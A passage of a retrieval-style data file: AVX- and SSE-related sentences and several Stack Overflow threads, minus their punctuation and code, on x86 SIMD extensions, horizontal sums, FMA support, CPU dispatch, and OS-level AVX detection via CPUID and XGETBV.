the original AVX instruction-set .", "You need an x86-64 with AVX and FMA instruction sets .", "In addition one is AVX instruction-set while the other is AVX2 .", "But the executable still seems to run on machines that don t support the AVX instruction-set .", "What is the reason that they do not add string instruction-set to Intel AVX", "LLVM which supports the AVX instruction-set on Sandy Bridge CPUs i.e .", "vcvtsi2sd is AVX-512 not AVX .", "Is it possible to disable AVX when debugging on my CPU so that debugger stops on any AVX instruction", "The Intel Advanced Vector Extensions AVX offers no dot-product in 256-bit version ymm register for double precision floating-point variables .", "AVX-512F AVX-512 CDI AVX-512 ERI and AVX-512 PFI are supported on both the Skylake and Xeon Phi .", "@L uV nhPh c Yeah but RyuJIT only uses 128 bits on AVX and mm256 add epi16 is an invalid instruction on my AVX processor .", "One without AVX support and one with AVX .", "I mean for example I have two source files one with the SSE2 instruction-set defined with some SSE2 instructions and another one with the AVX instruction-set defined and with some AVX instructions .", "I m not too familiar with AMD CPUs but I know that some of them lack SSSE3 and SSE4 so that would be my best guess although I have no idea if any AMD CPUs support AVX .", "vpmovzxbw is avx .", "But compiling the benchmark with avx instrinsics for x64 the execution-time is worst almost double comparing the benchmark with avx instrinsisc and compiled for x86 .", "Doing in-lane stuff first isn t any better on Intel CPUs and definitely worse on AMD CPUs where 256b AVX ops are twice as expensive as 128b AVX ops .", "Ironically ancient X86 instruction rep stosq performs much better than SSE and AVX in terms of memory copy", "See here http : insufficientlycomplicated.wordpress.com 2011 11 07 detecting-intel-advanced-vector-extensions-avx-in-visual-studio for another source .", "Update : Architecture : x86 Sandy Bridge so SSE5 AVX and older tech can be used .", "AVX-512 ISA is compatible with SSE AVX and AVX2 .", "It will issue an illegal instruction exception if the program tries to execute an AVX instruction when the XSAVE bit is not set .", "I cannot find where the faulty AVX instruction is hidden", "Do you know if AVX or AVX2 instruction sets support them", "This will disable AVX detection but the AVX instructions will still run fine if I m right .", "This is AVX code .", "However mm broadcast ss requires the AVX instruction-set while only SSE is required for mm set1 ps .", "If you target AVX instruction-set gcc will use VBROADCASTSS to implement mm set1 ps intrinsic .", "For example AVX-512 BW AVX-512 DQ and AVX-512 VL are only supported on Skylake but not on Xeon Phi .", "So it MAY use an AVX instruction if there is a clever one to solve a particular construct .", ".. . .. . You check for CPU support for SSE or AVX the usual way with the CPUID instruction .", "SSE AVX and AVX512 are the extensions that introduced new architectural state .", "It does not have AVX as I had to remove the AVX code for it to run .", "I have learned that some Intel AMD CPUs can do simultanous multiply and add with SSE AVX : .. . FLOPS per cycle for sandy-bridge and haswell SSE2 AVX AVX2 http : stackoverflow.com questions 15655835 flops-per-cycle-for-sandy-bridge-and-haswell-sse2-avx-avx2 .", "The other version uses AVX .", "This isn t specific to AVX .", "Just wondering if AVX is already in the executables", "Intel : Avoiding AVX-SSE Transition Penalties https : software.intel.com en-us articles avoiding-avx-sse-transition-penalties Intel AVX State Transitions : Migrating SSE Code to AVX https : software.intel.com en-us articles intel-avx-state-transitions-migrating-sse-code-to-avx", "Ideally set a breakpoint at that instruction and make sure it actually ever runs too if you have a debugger on a pre-AVX machine .", "This allow the compiled binary works on modern architecture faster with AVX extension and keep compatibility with previous architectures .", "From Intel s intro to AVX https : software.intel.com en-us articles introduction-to-intel-advanced-vector-extensions : .. . .. . Verify that the operating-system supports XGETBV using CPUID.1 : ECX.OSXSAVE bit 27 1 .", "if the 256b version needs an extra permute or to take advantage of an AVX-only instruction .", "For testing I have a set of headers that imitate a subset of the AVX512f intrinsics using only AVX and FMA3 so I can run it on both my Intel and AMD machines .", "Now I will improve my AVX code to use AVX only .", "Intel IMCI is not compatible with and is not equialent to SSE AVX AVX2 or AVX-512 ISA .", "This is the most efficient method with AVX .", "compiling the benchmark with avx instrinsics for x64 the execution-time is worst .. . .. . Almost certainly from AVX - SSE transition delays from mixing legacy SSE with 256bit AVX instructions without a vzeroupper https : software.intel.com en-us articles intel-avx-state-transitions-migrating-sse-code-to-avx .", "Reverse a AVX register containing doubles using a single AVX intrinsic http : stackoverflow.com questions 13422747 reverse-a-avx-register-containing-doubles-using-a-single-avx-intrinsic .", "It would be bad to detect say AVX support in the CPU and then use AVX instructions only to find that your AVX state gets corrupted at every context-switch because the OS doesn t have AVX context switching support .", "Where VECNF .LOAD is mm load ps for SSE or mm256 load ps for AVX VECNF .STORE is mm store ps for SSE or mm256 store ps for AVX and JUMP is 4 for SSE or 8 for AVX .", "Good question - it looks like the AVX instruction vextractf128 is intended for any vector type int float double while the AVX2 instruction vextracti128 is intended for int vector only .", "Possible duplicate of Fastest way to do horizontal vector sum with AVX instructions http : stackoverflow.com questions 9775538 fastest-way-to-do-horizontal-vector-sum-with-avx-instructions", "Step2 : Get AVX AVX2 bits .", "Try googling for Haswell AVX overclock .", "Your CPU supports only AVX .", "One does not use SSE AVX .", "Here is the the function with AVX that I m using .", ".. . .. . For AVX we don t need OS support to detect that AVX is available and enabled by the OS : CPUID includes an OSXSAVE feature bit that will be set when the OS has enabled AVX .", "See also Intel s nice diagram of state transitions https : software.intel.com en-us articles intel-avx-state-transitions-migrating-sse-code-to-avx which makes it clear that mixing SSE and AVX-128 is fine as long as you did a vzeroupper since the last AVX-256 instruction .", "In AVX there are two instructions to do a bitwise-or VORPD and VORPS .", "The Intel document Intel AVX State Transitions : Migrating SSE Code to AVX https : software.intel.com en-us articles intel-avx-state-transitions-migrating-sse-code-to-avx provides a diagram of these states : .. . .. .", "The leading v and usually 3 operands means it s an AVX instruction instead of legacy SSE .", "Intel SSE and AVX Examples and Tutorials http : stackoverflow.com questions 13577226 intel-sse-and-avx-examples-and-tutorials", "E.g : .. . .. . AVX : .. . .. . SSSE3 : .. . .. . It s clear that vpunpckhbw is just punpckhbw but using the avx three operand syntax .", "Namely those that attempt to use AVX after seeing the AVX bit in cpuid but without also checking the xsave bit .", "If you use Vec8d and compile for AVX it will emulate AVX512 using two AVX registers .", "Off the top of my head : none are deprecated SSE is a series as is AVX mixing SSE and AVX is not a good idea .", "AVX AVX2 is at least slightly better in every way if you count the VEX-encoded 128b version an insn as AVX not SSE .", "Maybe it generates an AVX version of some things but only runs it after doing a run-time check that the system supports AVX", "@ashwin your code would crash if it only generated AVX instructions on a machine without AVX .", "I have an AVX optimized app which I do not need to make compatible with non AVX CPUs .", "In my main I create the QApplication instance I m using the Qt framework then test for AVX using gcc builtin cpu supports avx .", "My command-line-arguments are -march corei7-avx -mtune corei7-avx -mavx .", "So both AVX and AVX2 is fine .", "How about this straightforward avx code", "Why the AVX is not faster than SSE3", "Why the AVX is not faster than SSE3", "Using either AVX or AVX2 intrinsics", "Are there any instructions in AVX or SSE that will allow me to load a vector register with an array of indices from a different array", "Is there a way using AVX SSE to take a vector of floats round-down and produce a vector of ints", "However some optional extensions may be absent or removed from newer models like the FMA4 of AMD if not very wide spread .", "SSE instructions do cause state change penalty but if you compile for AVX instruction sets mm movehl ps and the likes would generate AVX forms of the instructions VMOVHLPS in this particular case .", "It is from the book : Modern X86 Assembly Language Programming : 32-bit 64-bit SSE and AVX .", "Firstly make sure your CPU even supports these AVX instructions : Performing AVX integer operation http : stackoverflow.com questions 16284263 performing-avx-integer-operation .", "Porting 32bit to 64bit is orthogonal from porting SSE to 256b AVX .", "AMD has a propreitery library LibM http : developer.amd.com tools cpu-development libm which has some SIMD math functions but LibM only uses AVX if it detects FMA4 which Intel CPUs don t have .", "Ivy Bridge can do one AVX multiplication and one AVX addition at the same time using different ports .", "Maybe the system on AVX is not choosing the SSE instructions either but since it has AVX it still works", "Also note that mm cmpeq ps mm cmpeq pd are SSE2 not AVX so I don t see any AVX-specific aspect to your question", "for SSE AVX and AVX-512 in the same library executable and to automatically invisibly dispatch between them in runtime .", "Intel has several SIMD ISAs such as SSE AVX AVX2 AVX-512 and IMCI on Xeon Phi .", "If the SIMD ISAs are more compatible with each other an existed AVX code may be ported to AVX-512 with much less efforts .", "They say their results are applicable to AVX even though they use AVX-512 mask registers in their examples .", "There is no transition penalty if an application clears the upper bits of all YMM registers sets to 0 via VZEROUPPER the corresponding instruction for this intrinsic before transitioning between Intel Advanced Vector Extensions Intel AVX instructions and legacy Intel Supplemental SIMD Extensions Intel SSE instructions .", "Agner Fog s manual says .. . .. . There is no advantage in using the 256-bit floating-point vector classes Vec8f Vec4d unless the AVX instruction-set is specified but it can be convenient to use these classes anyway if the same source code is used with and without AVX .", "A smart compiler with AVX support enabled should definitely use vbroadcastss internally when appropriate but it depends on the AVX implementation state of the compilers optimizer .", "But for AVX it does not work for some reason .", "This should be trivially scalable to AVX-512 ." ] }
{ "confidence": [ 65.79110717773438, 60.88959503173828, 60.546669006347656, 59.12541961669922, 58.36603927612305, 57.97444152832031, 57.75958251953125, 57.40940856933594, 57.34648132324219, 56.3017578125, 55.90018844604492, 55.78024673461914, 54.821533203125, 54.818321228027344, 54.78542709350586, 53.66901397705078, 53.2012939453125, 52.955299377441406, 52.5667724609375, 52.450096130371094 ], "content": [ "Question : I m thinking I should familiarize myself with x86 SIMD extensions . But before I even began I ran into trouble . I can t find a good overview on which of them are still relevant . The x86 architecture has accumulated a lot of math multimedia extensions over decades : .. . .. . MMX .. . 3DNow SSE .. . SSE2 .. . SSE3 .. . SSSE3 .. . SSE4 .. . AVX .. . AVX2 .. . AVX512 .. . Did I forget something Are the newer ones supersets of the older ones and vice versa Or are they complementary Are some of them deprecated Which of these are still relevant I ve heard references to legacy SSE . Are some of them mutually exclusive I.e . do they share the same hardware parts Which should I use together to maximize hardware utilization on modern Intel AMD CPUs For sake of argument let s assume I can find appropriate uses for the instructions.. . heating my house with the CPU if nothing else . Comment : Off the top of my head : none are deprecated SSE is a series as is AVX mixing SSE and AVX is not a good idea . I m sure Wikipedia or official docs can resolve the details . Comment : @Jeff 3DNow is deprecated Comment : yes you forgot SSE4a and XOP . Comment : One could argue that the aligned load instructions are deprecated . There is no reason to use them since Nehalem at least on paper . .. . Answer : They are complementary . Each new instruction-set extension add new instructions and eventually a new programming model new registers for example . None are deprecated deprecating instructions is almost impossible to do for compatibility reasons . However some optional extensions may be absent or removed from newer models like the FMA4 of AMD if not very wide spread . Some are vestigial though everything that can be done with FPU and MMX for example can be done more efficiently with SSE+ . They are not mutually exclusive in the sense that you can use one or another after all they are instructions not modes of operation like real vs protected-mode for example . The only possible conflict is between MMX and FPU as they share the lower part of the same set of register but have different programming model . The new vector registers have grown from 128 bit to 256 bit and to 512 bit each time the previous registers have become the low part of the newer ones . You can use all them together they offer specific hardware support implementing simple operations . They are like Lego bricks you are only limited by your imagination or the imagination of the designers . .. . .. . Here a simple list of this instruction-set extensions . Only some features are listed for the complete reference see Intel Manual Vol1 http : www.intel.com content www us en architecture-and-technology 64-ia-32-architectures-software-developer-vol-1-manual.html from chapter 9 to 14 . MMX .. . Introduce eight 64 bit registers MM0-MM7 and instructions to work with eight signed unsigned bytes four signed unsigned words two signed unsigned dwords . 3DNow .. . Add support for single precision floating-point operand to MMX . Few operation supported for example addition subtraction multiplication . SSE .. . Introduce eight sixteen 128 bit registers XMM0-XMM7 15 and instruction to work with four single precision floating-point operands . Add operations on MMX registers too . SSE2 .. . Introduces instruction to work with 2 double precision floating-point operands with all the byte word dword qword that fits in 128 bit . SSE3 .. . Add a few of very varied instructions including an unaligned load synchronization instruction horizontal add sub . SSSE3 .. . Again very vary instructions : more horizontal processing shuffle packing unpacking mul+add on bytes . SSE4 SSE4.1 SSE4.2 .. . Add a lot of instructions : operations on more data types min max scaling rouding blending non temporal moves linear-algebra operation text-processing comparisons . AESNI .. . Add support for accelerating AES symmetric encryption decryption . AVX Add eight sixteen 256 bit registers YMM0-YMM7 15 . Support all previous floating-point datatype . Three operand instructions . FMA .. . Add Fused Multiply Add and correlated instructions . AVX2 .. . Add support for integer data types . AVX512 .. . Add eight sixteen 512 bit registers ZMM0-ZMM7 15 and promote previous instruction to 512 bit wide . Some added instruction for exponentials reciprocals prefetching conflicts detections compress expand . IMCI Intel Xeon Phi .. . Early development of AVX512 for the Intel Xeon Phi coprocessor . Comment : Nice explanation . I would just also mention that in a similar vein to the MMX FP overlap XMMi is actually the lower portion of YMMi and that in turn is the lower portion of ZMMi . Comment : @hayesti yep . I m updating the answer . Comment : Not sure it s correct to say anything that can be done with the FPU can be done with SSE more efficiently . Try doing 80-bit floats with SSE.. . Comment : Hmm knm241 Peter Cordes both of you have very good answers which complement each other . Care to merge the information Thank you both Comment : You forgot SSE4a and XOP . XOP is particularly important because it adds for example 64-bit compare instructions that Intel only gets with AVX512 . It completes the integer set of operations which the scalar instructions have except for adc and mulx .", "Question : I m thinking I should familiarize myself with x86 SIMD extensions . But before I even began I ran into trouble . I can t find a good overview on which of them are still relevant . The x86 architecture has accumulated a lot of math multimedia extensions over decades : .. . .. . MMX .. . 3DNow SSE .. . SSE2 .. . SSE3 .. . SSSE3 .. . SSE4 .. . AVX .. . AVX2 .. . AVX512 .. . Did I forget something Are the newer ones supersets of the older ones and vice versa Or are they complementary Are some of them deprecated Which of these are still relevant I ve heard references to legacy SSE . Are some of them mutually exclusive I.e . do they share the same hardware parts Which should I use together to maximize hardware utilization on modern Intel AMD CPUs For sake of argument let s assume I can find appropriate uses for the instructions.. . heating my house with the CPU if nothing else . Comment : Off the top of my head : none are deprecated SSE is a series as is AVX mixing SSE and AVX is not a good idea . I m sure Wikipedia or official docs can resolve the details . Comment : @Jeff 3DNow is deprecated Comment : yes you forgot SSE4a and XOP . Comment : One could argue that the aligned load instructions are deprecated . There is no reason to use them since Nehalem at least on paper . .. . Answer : I recently updated the tag wikis for SSE http : stackoverflow.com tags sse info AVX http : stackoverflow.com tags avx info and x86 http : stackoverflow.com tags x86 info and SSE2 http : stackoverflow.com tags sse2 info avx2 http : stackoverflow.com tags avx2 info . They cover a lot of this . tl dr summary : AVX rolls up all the previous SSE versions and provides 3-operand versions of those instructions . Also 256b versions of most FP AVX and int AVX2 insns . For summaries of the various SSE versions see wikipedia or knm241 s more-detailed answer . We don t really think of that making SSE obsolete . More like think of AVX as a new and better version of the same old SSE instructions . They re still in the ref manual under their non-AVX names PSHUFB not VPSHUFB for example . You can mix AVX and SSE code as long as you use VZEROUPPER when needed to avoid the performance problem from mixing VEX with non-VEX insns on Intel . So there is some annoyance to dealing with cases where you have to call into libraries that might run non-VEX SSE instructions or where your code uses SSE FP math but also has some AVX code to be run only if the CPU supports it . If CPU-compatibility was a non-issue the legacy-SSE versions of vector instructions would be truly obsolete like MMX is now . AVX AVX2 is at least slightly better in every way if you count the VEX-encoded 128b version an insn as AVX not SSE . Sometimes you d still use 128b registers because your data only comes in chunks that big but more often working with 256b registers to do the same op on twice as much data at once . SSE AVX x87-FP integer instructions all use the same execution ports . You can t get more done in parallel by mixing them . except on Haswell where one of the 4 ALU ports can only handle non-vector insns like GP reg ops and branches . Comment : Hmm knm241 Peter Cordes both of you have very good answers which complement each other . Care to merge the information Thank you both Comment : I ll mark this one correct because it s shorter and so the other answer will still be visible after this one . Comment : I m just going to reference knm s answer in my 2nd paragraph . I want to keep my answer as short as possible so it s on target . A list of what was in each SSE version is available elsewhere . Maybe not summarized as nicely as knm241 s answer . I did add a paragraph about how if CPU compat was a non issue we really would never use the non-VEX encoding of vector instructions in new code . I think the VEX encoding is sometimes 1 byte longer but usually not . The only reason not to would be to avoid vzeroupper when calling SSE code you can t recompile reassemble . Comment : thanks that paragraph made the question of deprecation more clear", "Question : Thanks to this post http : stackoverflow.com questions 10500766 sse-multiplication-of-4-32-bit-integers I found out how to multiply 4 32-bit integers . What I want to do now is sum up the results . How can I do this using intrinsics I ve got access to SSE SSE2 and AVX . My initial thoughts were to unload res into an int array and sum the first and third elements but I want to know if there is a better way . This is what my code looks like Comment : In regards to multiply since you have AVX you only need to do m128i res mm mullo epi32 a b . Comment : Can you clarify what CPU families you are limited to SSE SS2 and AVX only seems like an unlikely combination - are you sure you don t also have SSE3 SSSE3 SSE4 etc Comment : SSE is pointless to mention since it does not support integer SIMD operations . Comment : Strictly speaking SSE does have integer SIMD instructions but only for 64 bit vectors not 128 bits . SSE can also be a catch-all term for all the various SSE instruction sets so I think we can allow it here . - .. . Answer : If you just want a horizontal add i.e . sum all the 4 32-bit int elements in the result vector then you can just shift and add twice then extract one element e.g . : Comment : You could use mm hadd epi32 twice but either method will wrap around overflow . To handle overflow you need to sign extend which is more complicated . Comment : True but mm hadd epi32 is SSSE3 and OP claims that they only have SSE SSE2 and AVX which seems like an unlikely combination admittedly but who knows - maybe an AMD CPU without SSSE3 Note also that if the OP had the full range of SSE instructions available they would presumably be using mm mullo epi32 rather than the above SSE2 multiplication method Comment : oh I read his question differently . I though he had AVX and everything below not a solution for each . SSE does not support integer operations anyway . Comment : You may be right - he evidently doesn t have SSE4 though for example since he ignored the SSE4 implementation in the linked answer and used the SSE2 version . I m not too familiar with AMD CPUs but I know that some of them lack SSSE3 and SSE4 so that would be my best guess although I have no idea if any AMD CPUs support AVX . Anyway I ve asked the OP for clarification see comment above . Comment : As I understand it the AVX CPUID feature bit implies support for the VEX-encoded 128b version of every SSE SSE2 SSE3 SSSE3 SSE4.1 and SSE4.2 instruction . Note how the Intel manual says VAESDEC requires AVX AES feature flags but VPHADDD xmm1 xmm2 xmm3 m128 just says you need AVX not AVX SSSE3 for example .", "Question : Microsoft states VS2010 supports the full set of AVX instructions : .. . .. . http : blogs.msdn.com b vcblog archive 2009 11 02 visual-c-code-generation-in-visual-studio-2010.aspx .. . .. . .. . In VS2010 release all AVX features and instructions are fully supported via intrinsic and arch : AVX . .. . But I cannot find any Intrinsics for Fused Multiply Add Operations .. . .. . http : software.intel.com sites products documentation studio composer en-us 2011 compiler c intref cls common intref bk avx fma.htm intref bk avx fma .. . .. . I need to use mm256 fmadd ps function but it is missing in immintrin.h header . I m really stuck with it . .. . Answer : The Fused-Multiply Add intrinsics aren t part of AVX . Intel got rid of it in their later revisions for AVX . So FMA is separate instruction-set . Even worse there will be two of them FMA3 Intel - Haswell FMA4 AMD - Bulldozer . VS2010 SP1 supports FMA4 - AMD s version of it . Neither processor line has been released yet except for AMD - Interlagos which is the server part of Bulldozer . The Intel FMA intrinsics are for FMA3 . Since no processor implements it yet you won t be able to use test it yet . Comment : Oh I did not know that this command is not a part of AVX . It seems I want too much from current hardware : Ok I will use mm256 mul ps + mm256 add ps instead . Thank you Comment : You re not the only one who wants more.. . : I eagerly waited for AVX for about a year before it came out . And now I m eagerly awaiting for FMA3 FMA4 XOP and AVX2 . XD Comment : FMA4 was originally Intel s actually but they changed to FMA3 during development .", "Question : I work with two computers . One without AVX support and one with AVX . It would be convenient to have my code find the instruction-set supported by my CPU at run-time and choose the appropriate code path . I ve follow the suggestions by Agner Fog to make a CPU dispatcher http : www.agner.org optimize vectorclass . However on my maching ithout AVX compiling and linking with visual-studio the code with AVX enabled causes the code to crash when I run it . I mean for example I have two source files one with the SSE2 instruction-set defined with some SSE2 instructions and another one with the AVX instruction-set defined and with some AVX instructions . In my main function if I only reference the SSE2 functions the code still crashes by virtue of having any source code with AVX enabled and with AVX instructions . Any clues to how I can fix this Edit : Okay I think I isolated the problem . I m using Agner Fog s vector class and I have defined three source files as : .. . .. . This crashes . If I instead use Vec4f in func SSE2 it does not crash . I don t understand this . I can use Vec8f with SSE2 by itself as long as I don t have another source file with AVX . Agner Fog s manual says .. . .. . There is no advantage in using the 256-bit floating-point vector classes Vec8f Vec4d unless the AVX instruction-set is specified but it can be convenient to use these classes anyway if the same source code is used with and without AVX . Each 256-bit vector will simply be split up into two 128-bit vectors when compiling without AVX . However when I have two source files with Vec8f one compiled with SSE2 and one compiled with AVX then I get a crash . Edit2 : I can get it to work from the command-line .. . .. . Edit3 : This however crashes .. . .. . Another clue . Apparently the order of linking matters . It crashes if avx.obj is before sse2.obj but if sse2.obj is before avx.obj it does not crash . I m not sure if it chooses the correct code path I don t have access to my AVX system right now but at least it does not crash . Comment : What are the details of the crash Have you identified the failing instruction in a debugger Comment : Well the debugger shows that func SSE is trying to use the AVX instructions . I don t know why . But I managed to get the code to work without crashing using the command-line . I added the commands above . I still don t know how to do it with the IDE . On the plus side I compiled from the command-line for the first time in Windows It s the only way I compile on Linux . Comment : Did you use link-time code-generation from the IDE Comment : No I m not using link-time code-generation . But I tried it and it made no difference . Comment : I found another clue . It crashes if avx.obj is before sse2.obj but it works otherwise . .. . Answer : The fact that the link order matters makes me think that there might be some kind of initialization code in the obj file . If the initialization code is communal then only the first one is taken . I can t reproduce it but you should be able to see it in an assembly listing compile with c Ftestavx.asm Comment : The dispatcher does not crash on my system with AVX but it crashes on my system without . Can you test it on a system without AVX Maybe the system on AVX is not choosing the SSE instructions either but since it has AVX it still works The assembly listing is a bit too advanced for me right now so it s likely I will have to come back to this .", "Question : So far I have managed to find out that : .. . .. . SSE and SSE2 are mandatory for Windows 8 and later and of course for any 64-bit OS .. . AVX is only supported by Windows 7 SP1 or later .. . .. . Are there any caveats regarding using SSE3 SSSE3 SSE4.1 SSE 4.2 AVX2 and AVX-512 on Windows Some clarification : I need this to determine what OSs will my program run on if I use instructions from one of the SSE AVX sets . Comment : @downvoters : This isn t a bad question compared to most even if it turns out not to have a very interesting answer . The OP didn t know that or he wouldn t have asked . It s clear and it sounds like the OP tried to research but didn t know what to search on because he doesn t already know the answer to the question : P I can see closing it as off-topic for SO migrate to SU but not the downvotes . Comment : I don t think it s a SU question I doubt coding in assembly is something even the most super users do . I ll reword the question to make it more clear that I am trying to utilize the opcodes in my programs . Comment : I don t see how this question is just about general computing software . The sole fact that it contains Windows does not mean it is off-topic here . This is a question about platforms from perspective of programmers and it is clearly important to those who code in SSE AVX etc . .. . Answer : Extensions that introduce new architectural state require special OS support because the OS has to save restore restore more data on context switches . So from the OSes perspective there s nothing extra it needs to do to let user-space code run SSSE3 instructions if the OS supports SSE . SSE AVX and AVX512 are the extensions that introduced new architectural state . SSE introduced the xmm regs and MXCSR for rounding modes and FP exception state .. . AVX introduced ymm the lower half of which are the old xmm regs . AVX512 introduced zmm extending the ymm regs and also doubled the number of vector regs in 64bit mode : zmm0-zmm31 . .. . .. . You check for CPU support for SSE or AVX the usual way with the CPUID instruction . To prevent silent data corruption when using a new extension on a multi-tasking OS that doesn t save restore the new architectural state on context switches SSE instructions fault as illegal instructions if the OS hasn t set an OS-support bit in a control register http : stackoverflow.com questions 31563078 how-do-i-enable-sse-for-my-freestanding-bootable-code . So vector extensions don t work on OSes that don t know about saving restoring the necessary state for that extension . .. . .. . For SSE there may not be any clean OS-independent way to detect that the OS has promised to save restore SSE state on context switches by setting the CR4.OSFXSR CR4.OSXMMEXCPT etc . bits because even reading a control register is privileged http : www.felixcloutier.com x86 MOV-1.html and there s no CPUID bit that reflects the setting . On Windows you can use GetEnabledXStateFeatures to check that the OS knows how to save restore the vector register state . I m not sure what you need on other OSes SSE support is so widespread that you d have to be using a really ancient version or homebrew OS for this to be a problem . .. . .. . For AVX we don t need OS support to detect that AVX is available and enabled by the OS : CPUID includes an OSXSAVE feature bit that will be set when the OS has enabled AVX . From Intel s intro to AVX https : software.intel.com en-us articles introduction-to-intel-advanced-vector-extensions : .. . .. . Verify that the operating-system supports XGETBV using CPUID.1 : ECX.OSXSAVE bit 27 1 . At the same time verify that CPUID.1 : ECX bit 28 1 Intel AVX supported and or bit 25 1 AES supported .. . and other bits for FMA AES and PCLMULQDQ .. . Issue XGETBV and verify that the feature-enabled mask at bits 1 and 2 are 11b XMM state and YMM state enabled by the operating-system . It may be easier to call an OS-provided function to detect OS support instead of using inline asm or a feature-detect library to do all this . .. . .. . The same is true for AVX512 : you can check the CPUID feature bit for the instruction-set and check that the OS has promised to manage the new architectural state on context switches by enabling the right bits in with XSETBV . So you should check with XGETBV . Comment : So this means I cannot use AVX512 extensions in my programs running under OSes released before 2013 since that s when it was announced . Do you know which Windows versions will receive updates that make them handle zmm registers correctly Comment : Actually you should use IsProcessorFeaturePresent and GetEnabledXStateFeatures because they tell you not only whether the CPU feature exists but also whether the OS supports it . It would be bad to detect say AVX support in the CPU and then use AVX instructions only to find that your AVX state gets corrupted at every context-switch because the OS doesn t have AVX context switching support . Comment : @Alexey : It takes time for a tested-well-enough-to-ship implementation to be ready after Intel announces things . AVX512 still isn t present in any normal CPU that s for sale only the Knight s Landing many-core stuff . Anyway I have no idea what Windows AVX512 support will be like . It s quite easy to add OS support for saving restoring the extra state . Just set a couple more feature bits for XSAVE XRSTOR and the CPU will save the extra state . Comment : @RaymondChen : Thanks . I was clearly being way too optimistic that things didn t suck so badly for detecting CPU features in an OS-independent way . That s nasty that you can get silent data corruption instead of faults with AVX thanks to Intel s design . Comment : @RaymondChen It s not as bad you as you think actually . The processor enforces it . It will issue an illegal instruction exception if the program tries to execute an AVX instruction when the XSAVE bit is not set . The XSAVE bit is unset by default for backwards compatibility . Once the OS sets it it has accepted the contract that it will preserve ymm state across context switches . Then the processor will let you execute AVX instructions .", "Question : Intel has several SIMD ISAs such as SSE AVX AVX2 AVX-512 and IMCI on Xeon Phi . These ISAs are supported on different processors . For example AVX-512 BW AVX-512 DQ and AVX-512 VL are only supported on Skylake but not on Xeon Phi . AVX-512F AVX-512 CDI AVX-512 ERI and AVX-512 PFI are supported on both the Skylake and Xeon Phi . Why doesn t Intel design a more universal SIMD ISA that can run on all of its advanced processors Also Intel removes some intrinsics and adds new ones when developing ISAs . A lot of intrinsics have many flavours . For example some work on packed 8-bit while some work on packed 64-bit . Some flavours are not widely supported . For example Xeon Phi is not going to have the capability to process packed 8-bit values . Skylake however will have this . Why does Intel alter its SIMD intrinsics in such an inconsistent way If the SIMD ISAs are more compatible with each other an existed AVX code may be ported to AVX-512 with much less efforts . .. . Answer : I see the reason why as three-fold . 1 When they originally designed http : homepages.cae.wisc.edu ece734 mmx 00526924.pdf MMX they had very little area to work with so made it as simple as possible . They also did it in such a way that was fully compatible with the existing x86 ISA precise interrupts + some state saving on context switches . They hadn t anticipated that they would continually enlarge the SIMD register widths and add so many instructions . Every generation when they added wider SIMD registers and more sophisticated instructions they had to maintain the old ISA for compatibility . 2 This weird thing you re seeing with AVX-512 is from the fact that they are trying to unify two disparate product lines . Skylake is from Intel s PC server line therefore their path can be seen as MMX - SSE 2 3 4 - AVX - AVX2 - AVX-512 . The Xeon Phi was based on an x86-compatible graphics card called Larrabee that used the LRBni http : www.drdobbs.com parallel a-first-look-at-the-larrabee-new-instruc 216402188 instruction-set . This is more or less the same as AVX-512 but with less instructions and not officially compatible with MMX SSE AVX etc.. . .. . .. . 3 They have different products for different demographics . For example as far as I know the AVX-512 CD instructions won t be available in the regular SkyLake processors for PCs just in the SkyLake Xeon processors used for servers in addition to the Xeon Phi used for HPC . I can understand this to an extent since the CD extensions are targeted at things like parallel histogram generation this case is more likely to be a critical hotspot in servers HPC than in general-purpose PCs . I do agree it s a bit of mess . Intel are beginning to see the light and planning better for additional expansions AVX-512 is supposedly ready to scale to 1024 bits in a future generation . Unfortunately it s still not really good enough and Agner Fog discusses this on the Intel Forums https : software.intel.com en-us forums topic 477541 . For me I would have liked to see a model that can be upgraded without the user having to recompile their code each time . For example instead of defining AVX register as 512-bits in the ISA this should be a parameter stored in the microarchitecture and retrievable by the programmer at runtime . The user asks what is the maximum SIMD width available on this machine the architecture returns XYZ and the user has generic control-flow to cope with whatever that XYZ is . This would be much cleaner and scalable than the current technique which uses several versions of the same function for every possible SIMD version . : - Comment : SkyLake PC processors won t even have AVX512 http : www.kitguru.net components cpu anton-shilov intel-skylake-processors-for-pcs-will-not-support-avx-512-instructions Comment : @hayesti Did those architectures have out-of-order super-scalar execution So multiple instructions could be in flight at once if they didn t depend on each other . Modern CPUs need to do this to be fast on non-vector code like running your web browser so that constrains how they implement SIMD . The current model fits well into the pipeline but does require different binaries for different CPUs . And unfortunately other than auto-vectorization different source too but that s a different problem that can and should be solved . Comment : @PeterCordes Many of them have complex pipelines e.g . the Alpha EV8 Cray BlackWidow and the NEX SX-ACE CPU . I know that one of the designers of the Alpha vector extension and Intel Larrabee Roger Espasa still argues that adopting vector-like support is the only sustainable way of growing SIMD extensions . He has been arguing for vector extensions in lieu of multimedia extensions for quite some time http : goo.gl sz6xR8 . Of course a vector approach would inherit its own set of problems but if Intel had more contingency in their ISA additions they could mitigate many of them . Comment : Yup every time I turn around I find out there s an instruction for what I want but only available for bytes not words or vice versa . Not to mention the clunkiness of VZEROUPPER thanks to a lack of forward planning and filling up the opcode space . Yeah could have been a LOT better . Some things like wider vectors in the future should have been forseen . I can forgive not forseeing that a separate set of mask registers would be desired though so AVX512 had to go and replace VEX with EVEX . I m not impressed with the lack of a byte-element 256b shuffle even if it was slow . Comment : @PeterCordes The 256-byte shuffle is coming in AVX512-VBMI . Yeah a full two-operand byte-granularity shuffle with 64-byte vectors . If this thing has single-cycle throughput it makes me wonder how much area they have to throw at it to hold that many 128-to-1 MUXs . I bet there s a simpler design I m not aware of that doesn t require N 2 log N transistors .", "Question : How can I check using Delphi 2007 that a box is AVX capable . My question is only restricted to querying the support in the CPU Assumption is made that the OS is OK Windows 7 with SP1 . The PDF document entitled Introduction to Intel Advanced Vector Extensions http : software.intel.com file 37205 by Chris Lomont explains how to do it and provides an example code implementation but in c++ . It s also available at this page http : software.intel.com en-us articles introduction-to-intel-advanced-vector-extensions . Comment : Just FYI BASM at least for Delphi XE2 does not yet support AVX instructions . .. . Answer : Here s a translation of the assembler code given on an Intel blog http : software.intel.com en-us blogs 2011 04 14 is-avx-enabled : .. . .. . This code will work in both 32 and 64 bit versions of Delphi . Update : Register saving code added thanks to @PhiS . Comment : Thank you David My understanding of the piece of code is that the XGETBV instruction is not supported by Delphi is that so Comment : That s right . I found the magic db here : qc.embarcadero.com wc qcmain.aspx d 80128 http : qc.embarcadero.com wc qcmain.aspx d 80128 Comment : Good lucking porting this to X64 alone . : - Comment : Brilliant Wish I could +1 2x . 